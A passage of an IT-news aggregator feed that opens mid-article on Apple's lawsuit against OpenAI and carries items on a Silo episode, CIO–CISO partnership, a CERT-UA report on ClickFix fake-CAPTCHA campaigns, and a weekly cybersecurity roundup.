<p class="wp-block-paragraph">For its part, OpenAI has refuted Apple’s lawsuit, arguing that it is “not aware of any evidence” that the lawsuit has merit. “We have no interest in other companies’ trade secrets,” <a href="https://x.com/drewpusateri/status/2075708238650089981" target="_blank" rel="noreferrer noopener">said OpenAI spokesperson Drew Pusateri</a>. “We remain focused on building innovative technology that empowers people everywhere.” The company’s lawyers also <a href="https://appleinsider.com/articles/26/07/15/openai-blames-email-mixup-for-why-it-didnt-respond-to-apple-trade-theft-claims">claim it did respond to Apple’s initial inquiries</a> on the matter.</p>



<h2 class="wp-block-heading"><strong>What’s at stake</strong></h2>



<p class="wp-block-paragraph">The significance of Apple’s newly-shared communication preservation orders is that if discovery uncovers evidence supporting Apple’s claims, the case could complicate OpenAI’s hardware plans and create unwelcome scrutiny ahead of any future public offering.</p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
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<title><![CDATA[Silo Season 3 Episode 4 Release Date, Time, and What to Expect]]></title>
<description><![CDATA[Silo Season 3 Episode 4 will arrive on Apple TV on Friday, July 24, 2026. The next chapter will continue Juliette Nichols’ fight to recover her memories while the Before Times storyline reveals more about the events that led to the creation of the silos.



Season 3 began on July 3 and follows a ...]]></description>
<link>https://tsecurity.de/de/3675994/ios-mac-os/silo-season-3-episode-4-release-date-time-and-what-to-expect/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675994/ios-mac-os/silo-season-3-episode-4-release-date-time-and-what-to-expect/</guid>
<pubDate>Fri, 17 Jul 2026 14:10:37 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Silo Season 3 Episode 4 will arrive on Apple TV on Friday, July 24, 2026. The next chapter will continue Juliette Nichols’ fight to recover her memories while the Before Times storyline reveals more about the events that led to the creation of the silos.



Season 3 began on July 3 and follows a weekly Friday release schedule. The ten-episode season will run through September 4, 2026.



Silo Season 3 Episode 4 release details




Release date: Friday, July 24, 2026



Release time: 12 a.m. PT and 3 a.m. ET



India release time: Around 12:30 p.m. IST



Streaming platform: Apple TV



Genre: Science fiction, dystopian drama and mystery



Expected duration: Around 45 to 60 minutes



Season episode count: 10 episodes



Season finale: September 4, 2026



Main cast: Rebecca Ferguson, Common, Harriet Walter, Chinaza Uche, Avi Nash, Alexandria Riley, Shane McRae and Remmie Milner




Ashley Zukerman, Jessica Henwick, Laura Innes, Jessica Brown Findlay, Morven Christie, Reed Birney, Matt Craven and Colin Hanks are among the major additions to the Season 3 cast. Steve Zahn also returns after playing Solo in Season 2.



What happened before Episode 4?



Spoilers ahead for Silo Season 3 Episodes 1 to 3.



Season 3 follows two connected timelines. Inside Silo 18, Juliette has returned after surviving her journey outside, but her damaged memories have left her vulnerable. Camille Sims and Nurse Amy have been using memory-altering drugs as part of a wider attempt to control her and weaken any resistance inside the silo.



Juliette gradually learns that other residents have also lost parts of their memories. Patrick Kennedy tells her about the drugs being used to make people forget, while Juliette continues searching for Lukas Kyle and the truth hidden from her.



Meanwhile, the Before Times storyline follows journalist Helen Drew and pilot Charlotte Keene. Helen investigates secret memory-erasure experiments connected to Dr. Crnkovich, while Charlotte begins recovering memories of a suspicious military operation. Their story appears closely tied to the political crisis and possible attack that eventually forced humanity underground.



What to expect from Silo Season 3 Episode 4



Episode 4 will likely push Juliette closer to discovering who altered her memories and why the Algorithm considers her dangerous. Her growing resistance to the medication also puts Camille, Sims and Nurse Amy under pressure, since they can no longer assume that Juliette will remain confused or obedient.



Patrick’s information about the forgetfulness drugs may help Juliette identify more people who were secretly controlled. Lukas could also return to the main storyline, especially because his knowledge of the Legacy and Salvador Quinn’s message makes him important to understanding the silos.



The Before Times plot should continue exploring Helen’s investigation and Charlotte’s recovered memories. Charlotte’s mission may reveal who planned the disaster, what the strange substance was and whether powerful officials helped create the conditions that led to the silo project.



As both timelines develop, Episode 4 should make the connection between Juliette’s present-day struggle and the original architects of the silo system much clearer.



Silo Season 3 Episode 4 streams on Apple TV on July 24. What do you think Juliette will remember next, and how deeply is Camille involved in the plan to control Silo 18? Let us know in the comments.]]></content:encoded>
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<title><![CDATA[The last human relationship in cybersecurity]]></title>
<description><![CDATA[We are inundated with promises that artificial intelligence will save us and that the next governance framework will protect us. Buy this platform, adopt that model and the hard part finally gets easier. After 15 years in this field, I have wanted that shortcut as much as anyone.



But both prom...]]></description>
<link>https://tsecurity.de/de/3675960/it-nachrichten/the-last-human-relationship-in-cybersecurity/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675960/it-nachrichten/the-last-human-relationship-in-cybersecurity/</guid>
<pubDate>Fri, 17 Jul 2026 14:03:27 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">We are inundated with promises that artificial intelligence will save us and that the next governance framework will protect us. Buy this platform, adopt that model and the hard part finally gets easier. After 15 years in this field, I have wanted that shortcut as much as anyone.</p>



<p class="wp-block-paragraph">But both promises are downstream of something neither one can produce. You cannot automate trust between two people. You cannot govern your way to a relationship. As AI moves into the core of how organizations operate, and accountability stops mapping cleanly to the org chart, what holds when the stakes are highest is not the platform or the policy. It is two human leaders who know each other well enough to carry the weight together.</p>



<p class="wp-block-paragraph">I think about this often now, a year after publishing a book about the pressures bearing down on security leaders, “<a href="https://www.amazon.com/dp/B0F6DDK8CD">The CISO On The Razor’s Edge: Leading Cybersecurity When The System Is Designed To Break</a>.” The partnership between the CIO and the CISO is the last human relationship in cybersecurity. AI raises the stakes. Governance sets the floor. The relationship is what holds.</p>



<p class="wp-block-paragraph">I saw it work once, up close. When I worked in Washington State, the CIO, <a href="https://www.linkedin.com/in/william-kehoe-a37a0714b/">Bill Kehoe</a>, talked to his CISO, <a href="https://www.linkedin.com/in/ralfjnsn/">Ralph Johnson</a>, every day. Weekends included. Not because a policy required it, but because the mission did. That partnership is a large part of why the role stayed sustainable for them when it broke so many others.</p>



<h2 class="wp-block-heading">The promise we keep believing</h2>



<p class="wp-block-paragraph">Walk any conference floor and you will hear the same pitch in a hundred variations. The next AI layer will close the gap. The next framework will lock down the risk. The technology is usually ready. The organization is not. I have watched too many well-funded programs stall to still believe the tool is the answer, and almost every time, the breakdown traced back to leaders who were not aligned before the work began. A framework run by misaligned leaders inherits the misalignment. You can buy the best controls on the market and still watch them fail when two leaders work from different assumptions about who owns what.</p>



<p class="wp-block-paragraph">Bill and Ralph understood this. Security decisions were not handed to Ralph after the fact to bless or block. They were made with him, inside the technology decisions, because the two had already agreed on what mattered. That is not governance. That is leadership creating the conditions in which governance can work.</p>



<p class="wp-block-paragraph">It is the real lesson I came to in the book. Technical knowledge matters, but it is not enough. As I wrote then, “Influence, trust and internal relationships are non-negotiable.” Without influence, CISOs cannot lead. Without technical substance, they cannot prioritize what matters. And without partnership, especially with their CIO, “they’re operating without a safety net.”</p>



<p class="wp-block-paragraph">AI does not change that truth. It raises the cost of ignoring it.</p>



<h2 class="wp-block-heading">When decisions move at machine speed</h2>



<p class="wp-block-paragraph">The ground under both roles is shifting. Work no longer flows through people alone. It moves across people, platforms, partners and agents at the same time, and it moves fast. Decisions that once waited for a meeting now form in seconds. The org chart, built for an era when humans did the work and reporting lines explained accountability, struggles to keep up.</p>



<p class="wp-block-paragraph">This is where the partnership stops being a nicety and becomes infrastructure. When decisions form at machine speed, the human escalation path has to be instant. There is no time to negotiate a relationship in the middle of an incident. Either the trust is already there, built in the quiet stretches before anything goes wrong, or it is not there when it counts.</p>



<p class="wp-block-paragraph">I asked Bill what he would lose if his daily calls with Ralph dropped to once a week. His answer cut straight to it.</p>



<p class="wp-block-paragraph">“Cyber does not rest,” he told me. “It is active and dynamic and requires 24/7/365 attention.” Drop to a weekly check-in, he explained, and “I am treating the CISO like any other executive position.” For Bill, AI only raises the stakes on that daily contact. “Relationships and partnerships between the CIO and CISO will never die due to AI,” he said. “I can’t even imagine a scenario where I don’t talk to my CISO on a daily basis including weekends to discuss the latest risks and vulnerabilities or news on potential AI attacks.”</p>



<p class="wp-block-paragraph">That is the point most of the market misses. A platform can flag the anomaly. It cannot decide what the organization is willing to risk, who carries that decision or how two leaders stand behind it together. The faster the machines move, the more the partnership has to already be in place.</p>



<h2 class="wp-block-heading">The loneliest seat in the building</h2>



<p class="wp-block-paragraph">There is a reason some now call the CISO job the least desirable role in business. The seat carries enormous accountability and rarely the authority to match. As one security leader put it, <a href="https://www.csoonline.com/article/4016334/has-ciso-become-the-least-desirable-role-in-business.html">the pressure has never been higher and the control has never felt lower</a>. People are burning out and walking away from a role that has never mattered more.</p>



<p class="wp-block-paragraph">Here is the hard part. There is no log file for burnout. No alert fires when the weight finally exceeds the leader. That drain is invisible right up until it is not, and it raises organizational risk as surely as any unpatched system. The structural fixes the industry debates are all real and all slow.</p>



<p class="wp-block-paragraph">The fastest source of relief available to a CISO is not a framework. It is a CIO who treats the relationship as a daily partnership rather than a line on a chart. An isolated CISO is a vulnerability. A partnered one is an asset.</p>



<p class="wp-block-paragraph">You see what that partnership is worth in the worst moment. I asked Bill what it looks like when an incident hits and public trust is on the line. He did not reach for a tool.</p>



<p class="wp-block-paragraph">“I am accountable as CIO to everything that occurs in the state from a technology lens including cyber,” he said. When a severe incident hits, the call comes to him from agency leadership or the Governor’s Office. Then he follows the plan, but never alone: “I will be in constant contact with the CISO on the details of the incident.”</p>



<p class="wp-block-paragraph">That is the safety net made real. The CISO is not carrying the mission alone at the moment it matters most. On the razor’s edge, leadership keeps you upright. Partnership keeps you in the fight.</p>



<h2 class="wp-block-heading">The work no tool will do for you</h2>



<p class="wp-block-paragraph">In my advisory work, I sit with C-suite leaders who share values and still cannot find alignment. The barrier is rarely disagreement. It is that they are not communicating clearly or often enough to build the trust that alignment requires. I have watched negotiations that could only happen by proxy, over email, because two capable leaders had stopped talking directly.</p>



<p class="wp-block-paragraph">I recently sat in an hour-long discussion where alignment and shared values were present the whole time. It did not become clear until the final fifteen minutes. That is what real alignment costs: patience, persistence and a stubborn commitment to clarity. If leaders cannot do that work themselves, no AI model or governance tool will do it for them.</p>



<p class="wp-block-paragraph">This is why I stand up an AI review board for the organizations I work with and host the leadership conversations that decide whether a company’s AI ambitions thrive or stall. The board itself matters less than what it provides: neutral ground, a regular cadence and an agenda that forces the hard issues into the open before a crisis forces them. If your organization has no venue like that, that absence is its own form of dysfunction. The cadence is what makes communication effective. Not easy. Effective.</p>



<h2 class="wp-block-heading">Build the bond on purpose</h2>



<p class="wp-block-paragraph">You cannot framework your way to trust. But you can build it deliberately, and that is a leadership act, not a governance one. The partnership and stakeholdering skills that once looked like soft extras are now the core executive work. A few moves matter most:</p>



<ul class="wp-block-list">
<li>Set a standing contact rhythm with your counterpart before you need one, daily or near-daily, not quarterly</li>



<li>Make decision rights and accountability explicit while it is calm, so no one improvises them mid-incident</li>



<li>Translate security into business outcomes together, so the board hears one aligned voice</li>
</ul>



<p class="wp-block-paragraph">Build the relationship as deliberately as you would build any critical control, because that is what it is. If you cannot connect the partnership to outcomes the business actually feels, you have a friendship, not a performance lever.</p>



<p class="wp-block-paragraph">A year after writing “The CISO On the Razor’s Edge,” I am even more convinced that strong leadership precedes effective governance and partnership precedes them both. This is the good news, not the hard news. The CIO and CISO who build real trust do not just reduce risk. They move faster than their competitors, because they spend no energy fighting each other. They earn the board’s confidence, because the board hears one clear voice. And they unlock the AI strategy everyone else is still struggling to govern, because they have already done the human work that makes governance hold.</p>



<p class="wp-block-paragraph">That is the upside waiting on the other side of this relationship. AI will keep advancing. Governance will keep maturing. But the organizations that win the next decade will be the ones where two leaders decided the partnership was worth building before they needed it. Bill and Ralph knew it every day, weekends included. The edge is there for anyone willing to do the same.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[ClickFix Attacks Drive UAC-0145 Cyber Campaigns, CERT-UA Warns]]></title>
<description><![CDATA[The ClickFix attacks technique has become a key initial access method for the UAC-0145 cyber threat cluster, according to a new report from Ukraine's Computer Emergency Response Team (CERT-UA). The agency said the threat group, also tracked as Sandworm, APT44, Seashell Blizzard, and a subcluster ...]]></description>
<link>https://tsecurity.de/de/3675937/it-security-nachrichten/clickfix-attacks-drive-uac-0145-cyber-campaigns-cert-ua-warns/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675937/it-security-nachrichten/clickfix-attacks-drive-uac-0145-cyber-campaigns-cert-ua-warns/</guid>
<pubDate>Fri, 17 Jul 2026 13:54:31 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1536" height="1024" src="https://thecyberexpress.com/wp-content/uploads/ClickFix-Attacks.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="ClickFix Attacks" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/ClickFix-Attacks.webp 1536w, https://thecyberexpress.com/wp-content/uploads/ClickFix-Attacks-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/ClickFix-Attacks-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/ClickFix-Attacks-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/ClickFix-Attacks-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/ClickFix-Attacks-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/ClickFix-Attacks-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/ClickFix-Attacks-1140x760.webp 1140w, https://thecyberexpress.com/wp-content/uploads/ClickFix-Attacks.webp 1536w, https://thecyberexpress.com/wp-content/uploads/ClickFix-Attacks-300x200.webp 300w, https://thecyberexpress.com/wp-content/uploads/ClickFix-Attacks-1024x683.webp 1024w, https://thecyberexpress.com/wp-content/uploads/ClickFix-Attacks-768x512.webp 768w, https://thecyberexpress.com/wp-content/uploads/ClickFix-Attacks-600x400.webp 600w, https://thecyberexpress.com/wp-content/uploads/ClickFix-Attacks-150x100.webp 150w, https://thecyberexpress.com/wp-content/uploads/ClickFix-Attacks-750x500.webp 750w, https://thecyberexpress.com/wp-content/uploads/ClickFix-Attacks-1140x760.webp 1140w" sizes="(max-width: 1536px) 100vw, 1536px" title="ClickFix Attacks Drive UAC-0145 Cyber Campaigns, CERT-UA Warns 3"></p><p class="PDq2pG_selectionAnchorContainer" data-start="390" data-end="851">The ClickFix attacks technique has become a key initial access method for the UAC-0145 cyber threat cluster, according to a new report from Ukraine's Computer Emergency Response Team (<a href="https://thecyberexpress.com/cert-ua-warns-of-darkcrystal-rat/" target="_blank" rel="noopener">CERT-UA</a>). The agency said the threat group, also tracked as Sandworm, <a href="https://thecyberexpress.com/alleged-ddos-attack-on-denmark/" target="_blank" rel="noopener">APT44</a>, Seashell Blizzard, and a subcluster of UAC-0002, has shifted its tactics during 2026, increasingly relying on <a href="https://thecyberexpress.com/google-recaptcha-trojanized-by-russian-hackers/" target="_blank" rel="noopener">fake CAPTCHA prompts</a> and social engineering to compromise systems.</p>
<p data-start="853" data-end="1196">CERT-UA said it has worked with Ukrainian cybersecurity agencies for several years to investigate the activities of UAC-0145. While the group previously relied on infected software installers distributed through torrent websites, recent campaigns have increasingly used ClickFix to trick users into executing malicious PowerShell commands.</p>

<h3 data-section-id="4rdrqx" data-start="1198" data-end="1255"><strong><span role="text">ClickFix Attacks Emerging as Primary Initial Access Vector</span></strong></h3>
<p data-start="1257" data-end="1565"><a href="https://cert.gov.ua/article/6318437" target="_blank" rel="nofollow noopener">According to CERT-UA</a>, infections recorded during the spring and summer of 2026 frequently began when victims visited compromised websites displaying fake CAPTCHA pages. Users were instructed to copy and execute PowerShell commands in their terminal, a <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-phishing/" target="_blank" rel="noopener" title="phishing" data-wpil-keyword-link="linked" data-wpil-monitor-id="29024">phishing</a> technique commonly referred to as ClickFix.</p>
<p data-start="1567" data-end="1765">The downloaded commands were designed to retrieve malicious files such as GHETTOVIBE, a Visual Basic Script (VBS) that establishes persistence by placing itself in the Windows Startup directory.</p>
<p data-start="1767" data-end="2036">Once executed, attackers could deploy SCOUTCURL, a PowerShell reconnaissance tool capable of collecting information about the compromised system, including device specifications, installed software, browser <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29022">data</a>, and local files before exfiltrating the information.</p>
<p data-start="2038" data-end="2186">CERT-UA also observed <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-malware/" title="malware" data-wpil-keyword-link="linked" data-wpil-monitor-id="29017">malware</a> loaders including FLUIDLEECH, disguised as antivirus software, and LOADLOOP being used during these campaigns.</p>

<h3 data-section-id="1n2nqi8" data-start="2188" data-end="2241"><strong><span role="text">Backdoors and Data Theft Tools Widely Deployed</span></strong></h3>
<p data-start="2243" data-end="2395">The report noted that attackers continue using <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-malware/" target="_blank" rel="noopener" title="malware" data-wpil-keyword-link="linked" data-wpil-monitor-id="29025">malware</a> families such as KALAMBUR, SUMBUR, and TAMBUR after gaining access to victim systems.</p>
<p data-start="2397" data-end="2595">To maintain <a href="https://thecyberexpress.com/intellexa-remote-access-to-customer-systems/" target="_blank" rel="noopener">remote access</a>, the group relied on legitimate utilities including OpenSSH and Tor, forwarding local network ports such as 445, 3389, and 22 to attacker-controlled infrastructure.</p>
<p data-start="2597" data-end="2754">CERT-UA also found malware designed to steal messaging data from Signal and <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-to-do-if-and-when-your-whatsapp-is-hacked/" title="WhatsApp" data-wpil-keyword-link="linked" data-wpil-monitor-id="29019">WhatsApp</a>, with stolen information reportedly exfiltrated using RSYNC.</p>
<p data-start="2756" data-end="2993">On infected systems examined during <a class="wpil_keyword_link" href="https://thecyberexpress.com/cyber-news/" title="cyber" data-wpil-keyword-link="linked" data-wpil-monitor-id="29023">cyber</a> defense operations, investigators additionally identified FREAKYPOLL, a Python-based backdoor distributed as compiled bytecode (.pyc), providing attackers with persistent unauthorized access.</p>

<h2 data-section-id="1s2gyff" data-start="2995" data-end="3057"><span role="text"><strong data-start="2998" data-end="3057">Compromised Websites Used to Deliver Fake CAPTCHA Pages</strong></span></h2>
<p data-start="3059" data-end="3171">During June and July 2026, CERT-UA analyzed more than ten compromised websites involved in <strong data-start="3150" data-end="3170">ClickFix attacks</strong>.</p>
<p data-start="3173" data-end="3516">Investigators found attackers using both the <strong data-start="3218" data-end="3236">Cloaking.House</strong> service and custom malware called <strong data-start="3271" data-end="3283">SMARTAXE</strong> to dynamically modify legitimate webpages. SMARTAXE retrieves remote domains from blockchain smart contracts through Ethereum's <strong data-start="3412" data-end="3424">eth_call</strong> function before displaying fake CAPTCHA pages or redirecting visitors to malicious content.</p>
<p data-start="3518" data-end="3773">CERT-UA warned that any website used in these attacks should be considered compromised, potentially through vulnerable content management systems (CMS), stolen credentials, web shells, malicious plugins, modified website scripts, or server-side backdoors.</p>
<p data-start="3775" data-end="3908">The agency urged website administrators and hosting providers to strengthen website <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29018">security</a> and respond quickly to incident reports.</p>

<h3 data-section-id="xet64s" data-start="3910" data-end="3965"><span role="text"><strong data-start="3913" data-end="3965">Android Malware Also Part of UAC-0145 Operations</strong></span></h3>
<p data-start="3967" data-end="4069">The report also highlighted growing use of Android malware distributed through messaging applications.</p>
<p data-start="4071" data-end="4338">Attackers were observed sharing APK files disguised as security or antivirus tools. One such malware family, tracked as COWARDDUCK, functions as a full-featured Android backdoor capable of collecting device information, contacts, files, and real-time geolocation.</p>
<p data-start="4340" data-end="4527">The malware targets files from directories including DCIM, Documents, Downloads, Pictures, and Alarms while searching for formats such as DOCX, XLSX, PPTX, ZIP, RAR, JSON, and OVPN files.</p>
<p data-start="4529" data-end="4744">According to CERT-UA, COWARDDUCK uploads stolen files through the Dropbox API while receiving commands from legitimate services including Steam Community and StockMemory domains through proxy infrastructure.</p>

<h3 data-section-id="1o8fspw" data-start="4746" data-end="4801"><span role="text"><strong data-start="4749" data-end="4801">Microsoft Sees Global Rise in ClickFix Campaigns</strong></span></h3>
<p data-start="4803" data-end="5026">Microsoft Threat Intelligence and Microsoft Defender Experts also <a href="https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/" target="_blank" rel="nofollow noopener">reported</a> that ClickFix campaigns have increased significantly since early 2024, targeting thousands of enterprise and consumer devices globally each day.</p>
<p data-start="5028" data-end="5345">Microsoft said the technique commonly delivers malware such as Lumma <a class="wpil_keyword_link" href="https://cyble.com/stealer/" target="_blank" rel="noopener" title="Stealer" data-wpil-keyword-link="linked" data-wpil-monitor-id="29020">Stealer</a> by persuading users to copy and execute commands through Windows Run, Windows Terminal, or Windows PowerShell. The campaigns are often combined with phishing, malvertising, and drive-by compromise techniques that imitate trusted brands.</p>
<p data-start="5347" data-end="5605">Because ClickFix attacks rely on user interaction rather than exploiting software <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-vulnerabilities/" title="vulnerabilities" data-wpil-keyword-link="linked" data-wpil-monitor-id="29021">vulnerabilities</a> directly, Microsoft recommends organizations strengthen user awareness and apply security policies that restrict unnecessary use of command execution tools.</p>]]></content:encoded>
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<title><![CDATA[The Cyber Express Weekly Roundup: TikTok Age Verification Probe, Healthcare Data Breach, Qantas Ruling, and Major Cyberattacks]]></title>
<description><![CDATA[This week’s cybersecurity roundup highlights growing concerns around online child safety, healthcare data protection, supply chain risks, and cyber threats affecting organizations worldwide. From regulatory scrutiny of digital platforms to large-scale vulnerabilities and operational disruptions, ...]]></description>
<link>https://tsecurity.de/de/3675935/it-security-nachrichten/the-cyber-express-weekly-roundup-tiktok-age-verification-probe-healthcare-data-breach-qantas-ruling-and-major-cyberattacks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675935/it-security-nachrichten/the-cyber-express-weekly-roundup-tiktok-age-verification-probe-healthcare-data-breach-qantas-ruling-and-major-cyberattacks/</guid>
<pubDate>Fri, 17 Jul 2026 13:54:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1101" height="614" src="https://thecyberexpress.com/wp-content/uploads/weekly-round.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="weekly round" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/weekly-round.webp 1101w, https://thecyberexpress.com/wp-content/uploads/weekly-round-300x167.webp 300w, https://thecyberexpress.com/wp-content/uploads/weekly-round-1024x571.webp 1024w, https://thecyberexpress.com/wp-content/uploads/weekly-round-768x428.webp 768w, https://thecyberexpress.com/wp-content/uploads/weekly-round-600x335.webp 600w, https://thecyberexpress.com/wp-content/uploads/weekly-round-150x84.webp 150w, https://thecyberexpress.com/wp-content/uploads/weekly-round-750x418.webp 750w, https://thecyberexpress.com/wp-content/uploads/weekly-round.webp 1101w, https://thecyberexpress.com/wp-content/uploads/weekly-round-300x167.webp 300w, https://thecyberexpress.com/wp-content/uploads/weekly-round-1024x571.webp 1024w, https://thecyberexpress.com/wp-content/uploads/weekly-round-768x428.webp 768w, https://thecyberexpress.com/wp-content/uploads/weekly-round-600x335.webp 600w, https://thecyberexpress.com/wp-content/uploads/weekly-round-150x84.webp 150w, https://thecyberexpress.com/wp-content/uploads/weekly-round-750x418.webp 750w" sizes="(max-width: 1101px) 100vw, 1101px" title="The Cyber Express Weekly Roundup: TikTok Age Verification Probe, Healthcare Data Breach, Qantas Ruling, and Major Cyberattacks 1"></p><span data-contrast="auto">This week’s cybersecurity roundup highlights growing concerns around online child safety, healthcare data protection, supply chain risks, and cyber threats affecting organizations worldwide. From regulatory scrutiny of digital platforms to large-scale vulnerabilities and operational disruptions, recent incidents show how cyber risks continue expanding across industries.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">The key theme in this weekly roundup is the increasing pressure on organizations to strengthen security, improve <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-data/" title="data" data-wpil-keyword-link="linked" data-wpil-monitor-id="29030">data</a> protection measures, and adapt to rapidly changing threat environments. Regulators, businesses, and <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-cybersecurity/" title="cybersecurity" data-wpil-keyword-link="linked" data-wpil-monitor-id="29026">cybersecurity</a> teams are facing challenges ranging from social engineering attacks and malware incidents to vulnerabilities affecting widely used enterprise technologies.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h2 aria-level="2"><b><span data-contrast="none">The Cyber Express Weekly Roundup</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h2>
<h3 aria-level="3"><b><span data-contrast="none">UK Investigates TikTok Age Verification Compliance</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The UK communications regulator Ofcom has launched an investigation into TikTok’s age verification system, examining whether the platform is meeting its child safety obligations under the Online Safety Act. The probe comes as the UK government prepares stricter social media restrictions for users under 16, with enhanced age assurance requirements expected to take effect by Spring 2027. </span><a href="https://thecyberexpress.com/tiktok-age-verification-probe-launched-by-uk/"><span data-contrast="none">Read more…</span></a><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="3"><b><span data-contrast="none">Partnered Health Cyberattack Exposes Australian Patient Data</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Healthcare provider Partnered Health has suffered a <a class="wpil_keyword_link" href="https://cyble.com/cyberattack/" target="_blank" rel="noopener" title="cyberattack" data-wpil-keyword-link="linked" data-wpil-monitor-id="29031">cyberattack</a> that exposed sensitive patient information from 21 clinics across Australia. The compromised data reportedly includes personal details, Medicare information, health insurance records, and medical documents. Authorities and the company continue investigating the incident to determine the full scope of the breach and whether additional information was affected. </span><a href="https://thecyberexpress.com/partnered-health-cyberattack/"><span data-contrast="none">Read more…</span></a><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="3"><b><span data-contrast="none">Qantas Data Breach Cleared After Privacy Review</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Australia’s privacy regulator has concluded its review of the 2025 Qantas <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-a-data-breach/" target="_blank" rel="noopener" title="data breach" data-wpil-keyword-link="linked" data-wpil-monitor-id="29029">data breach</a>, finding no evidence that the airline failed to take reasonable measures to protect customer information. The incident affected approximately 5.67 million records after attackers used <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-social-engineering/" target="_blank" rel="noopener" title="social engineering" data-wpil-keyword-link="linked" data-wpil-monitor-id="29032">social engineering</a> techniques to compromise a contact center employee. </span><a href="https://thecyberexpress.com/qantas-did-everything-right-yet-got-breached/"><span data-contrast="none">Read more…</span></a><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="3"><b><span data-contrast="none">Nichirei Cyberattack Disrupts KFC Japan Supply Chain</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Japanese frozen food and logistics company Nichirei experienced a cyberattack that disrupted deliveries to KFC Japan after unauthorized access impacted its systems. The <a href="https://www.nichirei.co.jp/sites/default/files/inline-images/english/ir/pdf_file/news/20260716_e.pdf" target="_blank" rel="nofollow noopener">company isolated</a> affected infrastructure, suspended certain logistics operations, and began recovery efforts with external cybersecurity specialists while investigating the incident. </span><a href="https://thecyberexpress.com/nichirei-cyberattack-disrupts-supply-chain/"><span data-contrast="none">Read more…</span></a><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="3"><b><span data-contrast="none">Microsoft Patch Tuesday Addresses 622 Security Flaws</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Microsoft’s July 2026 Patch Tuesday update fixed 622 <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-vulnerabilities/" title="vulnerabilities" data-wpil-keyword-link="linked" data-wpil-monitor-id="29033">vulnerabilities</a> across its product ecosystem, making it the company’s largest security release to date. The update included patches for two actively exploited zero-day vulnerabilities, CVE-2026-56164 and CVE-2026-56155, affecting Microsoft SharePoint Server and Active Directory Federation Services. </span><a href="https://thecyberexpress.com/microsoft-patch-tuesday-july-2026-622-flaws/"><span data-contrast="none">Read more…</span></a><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
